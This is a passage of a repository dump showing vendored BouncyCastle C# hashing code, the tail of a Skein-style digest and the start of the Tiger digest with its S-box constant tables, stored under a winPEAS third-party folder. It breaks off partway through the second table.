inBytes, int inOff, int len) { CheckInitialised(); ubi.Update(inBytes, inOff, len, chain); } public int DoFinal(byte[] outBytes, int outOff) { CheckInitialised(); if (outBytes.Length < (outOff + outputSizeBytes)) { throw new DataLengthException("Output buffer is too short to hold output"); } // Finalise message block UbiFinal(); // Process additional post-message parameters if (postMessageParameters != null) { for (int i = 0; i < postMessageParameters.Length; i++) { Parameter param = postMessageParameters[i]; UbiComplete(param.Type, param.Value); } } // Perform the output transform int blockSize = BlockSize; int blocksRequired = ((outputSizeBytes + blockSize - 1) / blockSize); for (int i = 0; i < blocksRequired; i++) { int toWrite = System.Math.Min(blockSize, outputSizeBytes - (i * blockSize)); Output((ulong)i, outBytes, outOff + (i * blockSize), toWrite); } Reset(); return outputSizeBytes; } private void Output(ulong outputSequence, byte[] outBytes, int outOff, int outputBytes) { byte[] currentBytes = new byte[8]; ThreefishEngine.WordToBytes(outputSequence, currentBytes, 0); // Output is a sequence of UBI invocations all of which use and preserve the pre-output // state ulong[] outputWords = new ulong[chain.Length]; UbiInit(PARAM_TYPE_OUTPUT); this.ubi.Update(currentBytes, 0, currentBytes.Length, outputWords); ubi.DoFinal(outputWords); int wordsRequired = ((outputBytes + 8 - 1) / 8); for (int i = 0; i < wordsRequired; i++) { int toWrite = System.Math.Min(8, outputBytes - (i * 8)); if (toWrite == 8) { ThreefishEngine.WordToBytes(outputWords[i], outBytes, outOff + (i * 8)); } else { ThreefishEngine.WordToBytes(outputWords[i], currentBytes, 0); Array.Copy(currentBytes, 0, outBytes, outOff + (i * 8), toWrite); } } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/TigerDigest.cs ================================================ using System; using winPEAS._3rdParty.BouncyCastle.util; namespace winPEAS._3rdParty.BouncyCastle.crypto.digests { /** * implementation of Tiger based on: * * http://www.cs.technion.ac.il/~biham/Reports/Tiger */ public class TigerDigest : IDigest, IMemoable { private const int MyByteLength = 64; /* * S-Boxes. */ private static readonly long[] t1 = { unchecked((long) 0x02AAB17CF7E90C5EL) /* 0 */, unchecked((long) 0xAC424B03E243A8ECL) /* 1 */, unchecked((long) 0x72CD5BE30DD5FCD3L) /* 2 */, unchecked((long) 0x6D019B93F6F97F3AL) /* 3 */, unchecked((long) 0xCD9978FFD21F9193L) /* 4 */, unchecked((long) 0x7573A1C9708029E2L) /* 5 */, unchecked((long) 0xB164326B922A83C3L) /* 6 */, unchecked((long) 0x46883EEE04915870L) /* 7 */, unchecked((long) 0xEAACE3057103ECE6L) /* 8 */, unchecked((long) 0xC54169B808A3535CL) /* 9 */, unchecked((long) 0x4CE754918DDEC47CL) /* 10 */, unchecked((long) 0x0AA2F4DFDC0DF40CL) /* 11 */, unchecked((long) 0x10B76F18A74DBEFAL) /* 12 */, unchecked((long) 0xC6CCB6235AD1AB6AL) /* 13 */, unchecked((long) 0x13726121572FE2FFL) /* 14 */, unchecked((long) 0x1A488C6F199D921EL) /* 15 */, unchecked((long) 0x4BC9F9F4DA0007CAL) /* 16 */, unchecked((long) 0x26F5E6F6E85241C7L) /* 17 */, unchecked((long) 0x859079DBEA5947B6L) /* 18 */, unchecked((long) 0x4F1885C5C99E8C92L) /* 19 */, unchecked((long) 0xD78E761EA96F864BL) /* 20 */, unchecked((long) 0x8E36428C52B5C17DL) /* 21 */, unchecked((long) 0x69CF6827373063C1L) /* 22 */, unchecked((long) 0xB607C93D9BB4C56EL) /* 23 */, unchecked((long) 0x7D820E760E76B5EAL) /* 24 */, unchecked((long) 0x645C9CC6F07FDC42L) /* 25 */, unchecked((long) 0xBF38A078243342E0L) /* 26 */, unchecked((long) 0x5F6B343C9D2E7D04L) /* 27 */, unchecked((long) 0xF2C28AEB600B0EC6L) /* 28 */, unchecked((long) 0x6C0ED85F7254BCACL) /* 29 */, unchecked((long) 0x71592281A4DB4FE5L) /* 30 */, unchecked((long) 0x1967FA69CE0FED9FL) /* 31 */, unchecked((long) 0xFD5293F8B96545DBL) /* 32 */, unchecked((long) 0xC879E9D7F2A7600BL) /* 33 */, unchecked((long) 0x860248920193194EL) /* 34 */, unchecked((long) 0xA4F9533B2D9CC0B3L) /* 35 */, unchecked((long) 0x9053836C15957613L) /* 36 */, unchecked((long) 0xDB6DCF8AFC357BF1L) /* 37 */, unchecked((long) 0x18BEEA7A7A370F57L) /* 38 */, unchecked((long) 0x037117CA50B99066L) /* 39 */, unchecked((long) 0x6AB30A9774424A35L) /* 40 */, unchecked((long) 0xF4E92F02E325249BL) /* 41 */, unchecked((long) 0x7739DB07061CCAE1L) /* 42 */, unchecked((long) 0xD8F3B49CECA42A05L) /* 43 */, unchecked((long) 0xBD56BE3F51382F73L) /* 44 */, unchecked((long) 0x45FAED5843B0BB28L) /* 45 */, unchecked((long) 0x1C813D5C11BF1F83L) /* 46 */, unchecked((long) 0x8AF0E4B6D75FA169L) /* 47 */, unchecked((long) 0x33EE18A487AD9999L) /* 48 */, unchecked((long) 0x3C26E8EAB1C94410L) /* 49 */, unchecked((long) 0xB510102BC0A822F9L) /* 50 */, unchecked((long) 0x141EEF310CE6123BL) /* 51 */, unchecked((long) 0xFC65B90059DDB154L) /* 52 */, unchecked((long) 0xE0158640C5E0E607L) /* 53 */, unchecked((long) 0x884E079826C3A3CFL) /* 54 */, unchecked((long) 0x930D0D9523C535FDL) /* 55 */, unchecked((long) 0x35638D754E9A2B00L) /* 56 */, unchecked((long) 0x4085FCCF40469DD5L) /* 57 */, unchecked((long) 0xC4B17AD28BE23A4CL) /* 58 */, unchecked((long) 0xCAB2F0FC6A3E6A2EL) /* 59 */, unchecked((long) 0x2860971A6B943FCDL) /* 60 */, unchecked((long) 0x3DDE6EE212E30446L) /* 61 */, unchecked((long) 0x6222F32AE01765AEL) /* 62 */, unchecked((long) 0x5D550BB5478308FEL) /* 63 */, unchecked((long) 0xA9EFA98DA0EDA22AL) /* 64 */, unchecked((long) 0xC351A71686C40DA7L) /* 65 */, unchecked((long) 0x1105586D9C867C84L) /* 66 */, unchecked((long) 0xDCFFEE85FDA22853L) /* 67 */, unchecked((long) 0xCCFBD0262C5EEF76L) /* 68 */, unchecked((long) 0xBAF294CB8990D201L) /* 69 */, unchecked((long) 0xE69464F52AFAD975L) /* 70 */, unchecked((long) 0x94B013AFDF133E14L) /* 71 */, unchecked((long) 0x06A7D1A32823C958L) /* 72 */, unchecked((long) 0x6F95FE5130F61119L) /* 73 */, unchecked((long) 0xD92AB34E462C06C0L) /* 74 */, unchecked((long) 0xED7BDE33887C71D2L) /* 75 */, unchecked((long) 0x79746D6E6518393EL) /* 76 */, unchecked((long) 0x5BA419385D713329L) /* 77 */, unchecked((long) 0x7C1BA6B948A97564L) /* 78 */, unchecked((long) 0x31987C197BFDAC67L) /* 79 */, unchecked((long) 0xDE6C23C44B053D02L) /* 80 */, unchecked((long) 0x581C49FED002D64DL) /* 81 */, unchecked((long) 0xDD474D6338261571L) /* 82 */, unchecked((long) 0xAA4546C3E473D062L) /* 83 */, unchecked((long) 0x928FCE349455F860L) /* 84 */, unchecked((long) 0x48161BBACAAB94D9L) /* 85 */, unchecked((long) 0x63912430770E6F68L) /* 86 */, unchecked((long) 0x6EC8A5E602C6641CL) /* 87 */, unchecked((long) 0x87282515337DDD2BL) /* 88 */, unchecked((long) 0x2CDA6B42034B701BL) /* 89 */, unchecked((long) 0xB03D37C181CB096DL) /* 90 */, unchecked((long) 0xE108438266C71C6FL) /* 91 */, unchecked((long) 0x2B3180C7EB51B255L) /* 92 */, unchecked((long) 0xDF92B82F96C08BBCL) /* 93 */, unchecked((long) 0x5C68C8C0A632F3BAL) /* 94 */, unchecked((long) 0x5504CC861C3D0556L) /* 95 */, unchecked((long) 0xABBFA4E55FB26B8FL) /* 96 */, unchecked((long) 0x41848B0AB3BACEB4L) /* 97 */, unchecked((long) 0xB334A273AA445D32L) /* 98 */, unchecked((long) 0xBCA696F0A85AD881L) /* 99 */, unchecked((long) 0x24F6EC65B528D56CL) /* 100 */, unchecked((long) 0x0CE1512E90F4524AL) /* 101 */, unchecked((long) 0x4E9DD79D5506D35AL) /* 102 */, unchecked((long) 0x258905FAC6CE9779L) /* 103 */, unchecked((long) 0x2019295B3E109B33L) /* 104 */, unchecked((long) 0xF8A9478B73A054CCL) /* 105 */, unchecked((long) 0x2924F2F934417EB0L) /* 106 */, unchecked((long) 0x3993357D536D1BC4L) /* 107 */, unchecked((long) 0x38A81AC21DB6FF8BL) /* 108 */, unchecked((long) 0x47C4FBF17D6016BFL) /* 109 */, unchecked((long) 0x1E0FAADD7667E3F5L) /* 110 */, unchecked((long) 0x7ABCFF62938BEB96L) /* 111 */, unchecked((long) 0xA78DAD948FC179C9L) /* 112 */, unchecked((long) 0x8F1F98B72911E50DL) /* 113 */, unchecked((long) 0x61E48EAE27121A91L) /* 114 */, unchecked((long) 0x4D62F7AD31859808L) /* 115 */, unchecked((long) 0xECEBA345EF5CEAEBL) /* 116 */, unchecked((long) 0xF5CEB25EBC9684CEL) /* 117 */, unchecked((long) 0xF633E20CB7F76221L) /* 118 */, unchecked((long) 0xA32CDF06AB8293E4L) /* 119 */, unchecked((long) 0x985A202CA5EE2CA4L) /* 120 */, unchecked((long) 0xCF0B8447CC8A8FB1L) /* 121 */, unchecked((long) 0x9F765244979859A3L) /* 122 */, unchecked((long) 0xA8D516B1A1240017L) /* 123 */, unchecked((long) 0x0BD7BA3EBB5DC726L) /* 124 */, unchecked((long) 0xE54BCA55B86ADB39L) /* 125 */, unchecked((long) 0x1D7A3AFD6C478063L) /* 126 */, unchecked((long) 0x519EC608E7669EDDL) /* 127 */, unchecked((long) 0x0E5715A2D149AA23L) /* 128 */, unchecked((long) 0x177D4571848FF194L) /* 129 */, unchecked((long) 0xEEB55F3241014C22L) /* 130 */, unchecked((long) 0x0F5E5CA13A6E2EC2L) /* 131 */, unchecked((long) 0x8029927B75F5C361L) /* 132 */, unchecked((long) 0xAD139FABC3D6E436L) /* 133 */, unchecked((long) 0x0D5DF1A94CCF402FL) /* 134 */, unchecked((long) 0x3E8BD948BEA5DFC8L) /* 135 */, unchecked((long) 0xA5A0D357BD3FF77EL) /* 136 */, unchecked((long) 0xA2D12E251F74F645L) /* 137 */, unchecked((long) 0x66FD9E525E81A082L) /* 138 */, unchecked((long) 0x2E0C90CE7F687A49L) /* 139 */, unchecked((long) 0xC2E8BCBEBA973BC5L) /* 140 */, unchecked((long) 0x000001BCE509745FL) /* 141 */, unchecked((long) 0x423777BBE6DAB3D6L) /* 142 */, unchecked((long) 0xD1661C7EAEF06EB5L) /* 143 */, unchecked((long) 0xA1781F354DAACFD8L) /* 144 */, unchecked((long) 0x2D11284A2B16AFFCL) /* 145 */, unchecked((long) 0xF1FC4F67FA891D1FL) /* 146 */, unchecked((long) 0x73ECC25DCB920ADAL) /* 147 */, unchecked((long) 0xAE610C22C2A12651L) /* 148 */, unchecked((long) 0x96E0A810D356B78AL) /* 149 */, unchecked((long) 0x5A9A381F2FE7870FL) /* 150 */, unchecked((long) 0xD5AD62EDE94E5530L) /* 151 */, unchecked((long) 0xD225E5E8368D1427L) /* 152 */, unchecked((long) 0x65977B70C7AF4631L) /* 153 */, unchecked((long) 0x99F889B2DE39D74FL) /* 154 */, unchecked((long) 0x233F30BF54E1D143L) /* 155 */, unchecked((long) 0x9A9675D3D9A63C97L) /* 156 */, unchecked((long) 0x5470554FF334F9A8L) /* 157 */, unchecked((long) 0x166ACB744A4F5688L) /* 158 */, unchecked((long) 0x70C74CAAB2E4AEADL) /* 159 */, unchecked((long) 0xF0D091646F294D12L) /* 160 */, unchecked((long) 0x57B82A89684031D1L) /* 161 */, unchecked((long) 0xEFD95A5A61BE0B6BL) /* 162 */, unchecked((long) 0x2FBD12E969F2F29AL) /* 163 */, unchecked((long) 0x9BD37013FEFF9FE8L) /* 164 */, unchecked((long) 0x3F9B0404D6085A06L) /* 165 */, unchecked((long) 0x4940C1F3166CFE15L) /* 166 */, unchecked((long) 0x09542C4DCDF3DEFBL) /* 167 */, unchecked((long) 0xB4C5218385CD5CE3L) /* 168 */, unchecked((long) 0xC935B7DC4462A641L) /* 169 */, unchecked((long) 0x3417F8A68ED3B63FL) /* 170 */, unchecked((long) 0xB80959295B215B40L) /* 171 */, unchecked((long) 0xF99CDAEF3B8C8572L) /* 172 */, unchecked((long) 0x018C0614F8FCB95DL) /* 173 */, unchecked((long) 0x1B14ACCD1A3ACDF3L) /* 174 */, unchecked((long) 0x84D471F200BB732DL) /* 175 */, unchecked((long) 0xC1A3110E95E8DA16L) /* 176 */, unchecked((long) 0x430A7220BF1A82B8L) /* 177 */, unchecked((long) 0xB77E090D39DF210EL) /* 178 */, unchecked((long) 0x5EF4BD9F3CD05E9DL) /* 179 */, unchecked((long) 0x9D4FF6DA7E57A444L) /* 180 */, unchecked((long) 0xDA1D60E183D4A5F8L) /* 181 */, unchecked((long) 0xB287C38417998E47L) /* 182 */, unchecked((long) 0xFE3EDC121BB31886L) /* 183 */, unchecked((long) 0xC7FE3CCC980CCBEFL) /* 184 */, unchecked((long) 0xE46FB590189BFD03L) /* 185 */, unchecked((long) 0x3732FD469A4C57DCL) /* 186 */, unchecked((long) 0x7EF700A07CF1AD65L) /* 187 */, unchecked((long) 0x59C64468A31D8859L) /* 188 */, unchecked((long) 0x762FB0B4D45B61F6L) /* 189 */, unchecked((long) 0x155BAED099047718L) /* 190 */, unchecked((long) 0x68755E4C3D50BAA6L) /* 191 */, unchecked((long) 0xE9214E7F22D8B4DFL) /* 192 */, unchecked((long) 0x2ADDBF532EAC95F4L) /* 193 */, unchecked((long) 0x32AE3909B4BD0109L) /* 194 */, unchecked((long) 0x834DF537B08E3450L) /* 195 */, unchecked((long) 0xFA209DA84220728DL) /* 196 */, unchecked((long) 0x9E691D9B9EFE23F7L) /* 197 */, unchecked((long) 0x0446D288C4AE8D7FL) /* 198 */, unchecked((long) 0x7B4CC524E169785BL) /* 199 */, unchecked((long) 0x21D87F0135CA1385L) /* 200 */, unchecked((long) 0xCEBB400F137B8AA5L) /* 201 */, unchecked((long) 0x272E2B66580796BEL) /* 202 */, unchecked((long) 0x3612264125C2B0DEL) /* 203 */, unchecked((long) 0x057702BDAD1EFBB2L) /* 204 */, unchecked((long) 0xD4BABB8EACF84BE9L) /* 205 */, unchecked((long) 0x91583139641BC67BL) /* 206 */, unchecked((long) 0x8BDC2DE08036E024L) /* 207 */, unchecked((long) 0x603C8156F49F68EDL) /* 208 */, unchecked((long) 0xF7D236F7DBEF5111L) /* 209 */, unchecked((long) 0x9727C4598AD21E80L) /* 210 */, unchecked((long) 0xA08A0896670A5FD7L) /* 211 */, unchecked((long) 0xCB4A8F4309EBA9CBL) /* 212 */, unchecked((long) 0x81AF564B0F7036A1L) /* 213 */, unchecked((long) 0xC0B99AA778199ABDL) /* 214 */, unchecked((long) 0x959F1EC83FC8E952L) /* 215 */, unchecked((long) 0x8C505077794A81B9L) /* 216 */, unchecked((long) 0x3ACAAF8F056338F0L) /* 217 */, unchecked((long) 0x07B43F50627A6778L) /* 218 */, unchecked((long) 0x4A44AB49F5ECCC77L) /* 219 */, unchecked((long) 0x3BC3D6E4B679EE98L) /* 220 */, unchecked((long) 0x9CC0D4D1CF14108CL) /* 221 */, unchecked((long) 0x4406C00B206BC8A0L) /* 222 */, unchecked((long) 0x82A18854C8D72D89L) /* 223 */, unchecked((long) 0x67E366B35C3C432CL) /* 224 */, unchecked((long) 0xB923DD61102B37F2L) /* 225 */, unchecked((long) 0x56AB2779D884271DL) /* 226 */, unchecked((long) 0xBE83E1B0FF1525AFL) /* 227 */, unchecked((long) 0xFB7C65D4217E49A9L) /* 228 */, unchecked((long) 0x6BDBE0E76D48E7D4L) /* 229 */, unchecked((long) 0x08DF828745D9179EL) /* 230 */, unchecked((long) 0x22EA6A9ADD53BD34L) /* 231 */, unchecked((long) 0xE36E141C5622200AL) /* 232 */, unchecked((long) 0x7F805D1B8CB750EEL) /* 233 */, unchecked((long) 0xAFE5C7A59F58E837L) /* 234 */, unchecked((long) 0xE27F996A4FB1C23CL) /* 235 */, unchecked((long) 0xD3867DFB0775F0D0L) /* 236 */, unchecked((long) 0xD0E673DE6E88891AL) /* 237 */, unchecked((long) 0x123AEB9EAFB86C25L) /* 238 */, unchecked((long) 0x30F1D5D5C145B895L) /* 239 */, unchecked((long) 0xBB434A2DEE7269E7L) /* 240 */, unchecked((long) 0x78CB67ECF931FA38L) /* 241 */, unchecked((long) 0xF33B0372323BBF9CL) /* 242 */, unchecked((long) 0x52D66336FB279C74L) /* 243 */, unchecked((long) 0x505F33AC0AFB4EAAL) /* 244 */, unchecked((long) 0xE8A5CD99A2CCE187L) /* 245 */, unchecked((long) 0x534974801E2D30BBL) /* 246 */, unchecked((long) 0x8D2D5711D5876D90L) /* 247 */, unchecked((long) 0x1F1A412891BC038EL) /* 248 */, unchecked((long) 0xD6E2E71D82E56648L) /* 249 */, unchecked((long) 0x74036C3A497732B7L) /* 250 */, unchecked((long) 0x89B67ED96361F5ABL) /* 251 */, unchecked((long) 0xFFED95D8F1EA02A2L) /* 252 */, unchecked((long) 0xE72B3BD61464D43DL) /* 253 */, unchecked((long) 0xA6300F170BDC4820L) /* 254 */, unchecked((long) 0xEBC18760ED78A77AL) /* 255 */, }; private static readonly long[] t2 = { unchecked((long) 0xE6A6BE5A05A12138L) /* 256 */, unchecked((long) 0xB5A122A5B4F87C98L) /* 257 */, unchecked((long) 0x563C6089140B6990L) /* 258 */, unchecked((long) 0x4C46CB2E391F5DD5L) /* 259 */, unchecked((long) 0xD932ADDBC9B79434L) /* 260 */, unchecked((long) 0x08EA70E42015AFF5L) /* 261 */, unchecked((long) 0xD765A6673E478CF1L) /* 262 */, unchecked((long) 0xC4FB757EAB278D99L) /* 263 */, unchecked((long) 0xDF11C6862D6E0692L) /* 264 */, unchecked((long) 0xDDEB84F10D7F3B16L) /* 265 */, unchecked((long) 0x6F2EF604A665EA04L) /* 266 */, unchecked((long) 0x4A8E0F0FF0E0DFB3L) /* 267 */, unchecked((long) 0xA5EDEEF83DBCBA51L) /* 268 */, unchecked((long) 0xFC4F0A2A0EA4371EL) /* 269 */, unchecked((long) 0xE83E1DA85CB38429L) /* 270 */, unchecked((long) 0xDC8FF882BA1B1CE2L) /* 271 */, unchecked((long) 0xCD45505E8353E80DL) /* 272 */, unchecked((long) 0x18D19A00D4DB0717L) /* 273 */, unchecked((long) 0x34A0CFEDA5F38101L) /* 274 */, unchecked((long) 0x0BE77E518887CAF2L) /* 275 */, unchecked((long) 0x1E341438B3C45136L) /* 276 */, unchecked((long) 0xE05797F49089CCF9L) /* 277 */, unchecked((long) 0xFFD23F9DF2591D14L) /* 278 */, unchecked((long) 0x543DDA228595C5CDL) /* 279 */, unchecked((long) 0x661F81FD99052A33L) /* 280 */, unchecked((long) 0x8736E641DB0F7B76L) /* 281 */, unchecked((long) 0x15227725418E5307L) /* 282 */, unchecked((long) 0xE25F7F46162EB2FAL) /* 283 */, unchecked((long) 0x48A8B2126C13D9FEL) /* 284 */, unchecked((long) 0xAFDC541792E76EEAL) /* 285 */, unchecked((long) 0x03D912BFC6D1898FL) /* 286 */, unchecked((long) 0x31B1AAFA1B83F51BL) /* 287 */, unchecked((long) 0xF1AC2796E42AB7D9L) /* 288 */, unchecked((long) 0x40A3A7D7FCD2EBACL) /* 289 */, unchecked((long) 0x1056136D0AFBBCC5L) /* 290 */, unchecked((long) 0x7889E1DD9A6D0C85L) /* 291 */, unchecked((long) 0xD33525782A7974AAL) /* 292 */, unchecked((long) 0xA7E25D09078AC09BL) /* 293 */, unchecked((long) 0xBD4138B3EAC6EDD0L) /* 294 */, unchecked((long) 0x920ABFBE71EB9E70L) /* 295 */, unchecked((long) 0xA2A5D0F54FC2625CL) /* 296 */, unchecked((long) 0xC054E36B0B1290A3L) /* 297 */, unchecked((long) 0xF6DD59FF62FE932BL) /* 298 */, unchecked((long) 0x3537354511A8AC7DL) /* 299 */, unchecked((long) 0xCA845E9172FADCD4L) /* 300 */, unchecked((long) 0x84F82B60329D20DCL) /* 301 */, unchecked((long) 0x79C62CE1CD672F18L) /* 302 */, unchecked((long) 0x8B09A2ADD124642CL) /* 303 */, unchecked((long) 0xD0C1E96A19D9E726L) /* 304 */, unchecked((long) 0x5A786A9B4BA9500CL) /* 305 */, unchecked((long) 0x0E020336634C43F3L) /* 306 */, unchecked((long) 0xC17B474AEB66D822L) /* 307 */, unchecked((long) 0x6A731AE3EC9BAAC2L) /* 308 */, unchecked((long) 0x8226667AE0840258L) /* 309 */, unchecked((long) 0x67D4567691CAECA5L) /* 310 */, unchecked((long) 0x1D94155C4875ADB5L) /* 311 */, unchecked((long) 0x6D00FD985B813FDFL) /* 312 */, unchecked((long) 0x51286EFCB774CD06L) /* 313 */, unchecked((long) 0x5E8834471FA744AFL) /* 314 */, unchecked((long) 0xF72CA0AEE761AE2EL) /* 315 */, unchecked((long) 0xBE40E4CDAEE8E09AL) /* 316 */, unchecked((long) 0xE9970BBB5118F665L) /* 317 */, unchecked((long) 0x726E4BEB33DF1964L) /* 318 */, unchecked((long) 0x703B000729199762L) /* 319 */, unchecked((long) 0x4631D816F5EF30A7L) /* 320 */, unchecked((long) 0xB880B5B51504A6BEL) /* 321 */, unchecked((long) 0x641793C37ED84B6CL) /* 322 */, unchecked((long) 0x7B21ED77F6E97D96L) /* 323 */, unchecked((long) 0x776306312EF96B73L) /* 324 */, unchecked((long) 0xAE528948E86FF3F4L) /* 325 */, unchecked((long) 0x53DBD7F286A3F8F8L) /* 326 */, unchecked((long) 0x16CADCE74CFC1063L) /* 327 */, unchecked((long) 0x005C19BDFA52C6DDL) /* 328 */, unchecked((long) 0x68868F5D64D46AD3L) /* 329 */, unchecked((long) 0x3A9D512CCF1E186AL) /* 330 */, unchecked((long) 0x367E62C2385660AEL) /* 331 */, unchecked((long) 0xE359E7EA77DCB1D7L) /* 332 */, unchecked((long) 0x526C0773749ABE6EL) /* 333 */, unchecked((long) 0x735AE5F9D09F734BL) /* 334 */, unchecked((long) 0x493FC7CC8A558BA8L) /* 335 */, unchecked((long) 0xB0B9C1533041AB45L) /* 336 */, unchecked((long) 0x321958BA470A59BDL) /* 337 */, unchecked((long) 0x852DB00B5F46C393L) /* 338 */, unchecked((long) 0x91209B2BD336B0E5L) /* 339 */, unchecked((long) 0x6E604F7D659EF19FL) /* 340 */, unchecked((long) 0xB99A8AE2782CCB24L) /* 341 */, unchecked((long) 0xCCF52AB6C814C4C7L) /* 342 */, unchecked((long) 0x4727D9AFBE11727BL) /* 343 */, unchecked((long) 0x7E950D0C0121B34DL) /* 344 */, unchecked((long) 0x756F435670AD471FL) /* 345 */, unchecked((long) 0xF5ADD442615A6849L) /* 346 */, unchecked((long) 0x4E87E09980B9957AL) /* 347 */, unchecked((long) 0x2ACFA1DF50AEE355L) /* 348 */, unchecked((long) 0xD898263AFD2FD556L) /* 349 */, unchecked((long) 0xC8F4924DD80C8FD6L) /* 350 */, unchecked((long) 0xCF99CA3D754A173AL) /* 351 */, unchecked((long) 0xFE477BACAF91BF3CL) /* 352 */, unchecked((long) 0xED5371F6D690C12DL) /* 353 */, unchecked((long) 0x831A5C285E687094L) /* 354 */, unchecked((long) 0xC5D3C90A3708A0A4L) /* 355 */, unchecked((long) 0x0F7F903717D06580L) /* 356 */, unchecked((long) 0x19F9BB13B8FDF27FL) /* 357 */, unchecked((long) 0xB1BD6F1B4D502843L) /* 358 */, unchecked((long) 0x1C761BA38FFF4012L) /* 359 */, unchecked((long) 0x0D1530C4E2E21F3BL) /* 360 */, unchecked((long) 0x8943CE69A7372C8AL) /* 361 */, unchecked((long) 0xE5184E11FEB5CE66L) /* 362 */, unchecked((long) 0x618BDB80BD736621L) /* 363 */, unchecked((long) 0x7D29BAD68B574D0BL) /* 364 */, unchecked((long) 0x81BB613E25E6FE5BL) /* 365 */, unchecked((long) 0x071C9C10BC07913FL) /* 366 */, unchecked((long) 0xC7BEEB7909AC2D97L) /* 367 */, unchecked((long) 0xC3E58D353BC5D757L) /* 368 */, unchecked((long) 0xEB017892F38F61E8L) /* 369 */, unchecked((long) 0xD4EFFB9C9B1CC21AL) /* 370 */, unchecked((long) 0x99727D26F494F7ABL) /* 371 */, unchecked((long) 0xA3E063A2956B3E03L) /* 372 */, unchecked((long) 0x9D4A8B9A4AA09C30L) /* 373 */, unchecked((long) 0x3F6AB7D500090FB4L) /* 374 */, unchecked((long) 0x9CC0F2A057268AC0L) /* 375 */, unchecked((long) 0x3DEE9D2DEDBF42D1L) /* 376 */, unchecked((long) 0x330F49C87960A972L) /* 377 */, unchecked((long) 0xC6B2720287421B41L) /* 378 */, unchecked((long) 0x0AC59EC07C00369CL) /* 379 */, unchecked((long) 0xEF4EAC49CB353425L) /* 380 */, unchecked((long) 0xF450244EEF0129D8L) /* 381 */, unchecked((long) 0x8ACC46E5CAF4DEB6L) /* 382 */, unchecked((long) 0x2FFEAB63989263F7L) /* 383 */, unchecked((long) 0x8F7CB9FE5D7A4578L) /* 384 */, unchecked((long) 0x5BD8F7644E634635L) /* 385 */, unchecked((long) 0x427A7315BF2DC900L) /* 386 */, unchecked((long) 0x17D0C4AA2125261CL) /* 387 */, unchecked((long) 0x3992486C93518E50L) /* 388 */, unchecked((long) 0xB4CBFEE0A2D7D4C3L) /* 389 */, unchecked((long) 0x7C75D6202C5DDD8DL) /* 390 */, unchecked((long) 0xDBC295D8E35B6C61L) /* 391 */, unchecked((long) 0x60B369D302032B19L) /* 392 */, unchecked((long) 0xCE42685FDCE44132L) /* 393 */, unchecked((long) 0x06F3DDB9DDF65610L) /* 394 */, unchecked((long) 0x8EA4D21DB5E148F0L) /* 395 */, unchecked((long) 0x20B0FCE62FCD496FL) /* 396 */, unchecked((long) 0x2C1B912358B0EE31L) /* 397 */, unchecked((long) 0xB28317B818F5A308L) /* 398 */, unchecked((long) 0xA89C1E189CA6D2CFL) /* 399 */, unchecked((long) 0x0C6B18576AAADBC8L) /* 400 */, unchecked((long) 0xB65DEAA91299FAE3L) /* 401 */, unchecked((long) 0xFB2B794B7F1027E7L) /* 402 */, unchecked((long) 0x04E4317F443B5BEBL) /* 403 */, unchecked((long) 0x4B852D325939D0A6L) /* 404 */, unchecked((long) 0xD5AE6BEEFB207FFCL) /* 405 */, unchecked((long) 0x309682B281C7D374L) /* 406 */, unchecked((long) 0xBAE309A194C3B475L) /* 407 */, unchecked((long) 0x8CC3F97B13B49F05L) /* 408 */, unchecked((long) 0x98A9422FF8293967L) /* 409 */, unchecked((long) 0x244B16B01076FF7CL) /* 410 */, unchecked((long) 0xF8BF571C663D67EEL) /* 411 */, unchecked((long) 0x1F0D6758EEE30DA1L) /* 412 */, unchecked((long) 0xC9B611D97ADEB9B7L) /* 413 */, unchecked((long) 0xB7AFD5887B6C57A2L) /* 414 */, unchecked((long) 0x6290AE846B984FE1L) /* 415 */, unchecked((long) 0x94DF4CDEACC1A5FDL) /* 416 */, unchecked((long) 0x058A5BD1C5483AFFL) /* 417 */, unchecked((long) 0x63166CC142BA3C37L) /* 418 */, unchecked((long) 0x8DB8526EB2F76F40L) /* 419 */, unchecked((long) 0xE10880036F0D6D4EL) /* 420 */, unchecked((long) 0x9E0523C9971D311DL) /* 421 */, unchecked((long) 0x45EC2824CC7CD691L) /* 422 */, unchecked((long) 0x575B8359E62382C9L) /* 423 */, unchecked((long) 0xFA9E400DC4889995L) /* 424 */, unchecked((long) 0xD1823ECB45721568L) /* 425 */, unchecked((long) 0xDAFD983B8206082FL) /* 426 */, unchecked((long) 0xAA7D29082386A8CBL) /* 427 */, unchecked((long) 0x269FCD4403B87588L) /* 428 */, unchecked((long) 0x1B91F5F728BDD1E0L) /* 429 */, unchecked((long) 0xE4669F39040201F6L) /* 430 */, unchecked((long) 0x7A1D7C218CF04ADEL) /* 431 */, unchecked((long) 0x65623C29D79CE5CEL) /* 432 */, unchecked((long) 0x2368449096C00BB1L) /* 433 */, unchecked((long) 0xAB9BF1879DA503BAL) /* 434 */, unchecked((long) 0xBC23ECB1A458058EL) /* 435 */, unchecked((long) 0x9A58DF01BB401ECCL) /* 436 */, unchecked((long) 0xA070E868A85F143DL) /* 437 */, unchecked((long) 0x4FF188307DF2239EL) /* 438 */, unchecked((long) 0x14D565B41A641183L) /* 439 */, unchecked((long) 0xEE13337452701602L) /* 440 */, unchecked((long) 0x950E3DCF3F285E09L) /* 441 */, unchecked((long) 0x59930254B9C80953L) /* 442 */, unchecked((long) 0x3BF299408930DA6DL) /* 443 */, unchecked((long) 0xA955943F53691387L) /* 444 */, unchecked((long) 0xA15EDECAA9CB8784L) /* 445 */, unchecked((long) 0x29142127352BE9A0L) /* 446 */, unchecked((long) 0x76F0371FFF4E7AFBL) /* 447 */, unchecked((long) 0x0239F450274F2228L) /* 448 */, unchecked((long) 0xBB073AF01D5E868BL) /* 449 */, unchecked((long) 0xBFC80571C10E96C1L) /* 450 */, unchecked((long) 0xD267088568222E23L) /* 451 */, unchecked((long) 0x9671A3D48E80B5B0L) /* 452 */, unchecked((long) 0x55B5D38AE193BB81L) /* 453 */, unchecked((long) 0x693AE2D0A18B04B8L) /* 454 */, unchecked((long) 0x5C48B4ECADD5335FL) /* 455 */, unchecked((long) 0xFD743B194916A1CAL) /* 456 */, unchecked((long) 0x2577018134BE98C4L) /* 457 */, unchecked((long) 0xE77987E83C54A4ADL) /* 458 */, unchecked((long) 0x28E11014DA33E1B9L) /* 459 */, unchecked((long) 0x270CC59E226AA213L) /* 460 */, unchecked((long) 0x71495F756D1A5F60L) /* 461 */, unchecked((long) 0x9BE853FB60AFEF77L) /* 462 */, unchecked((long) 0xADC786A7F7443DBFL) /* 463 */, unchecked((long) 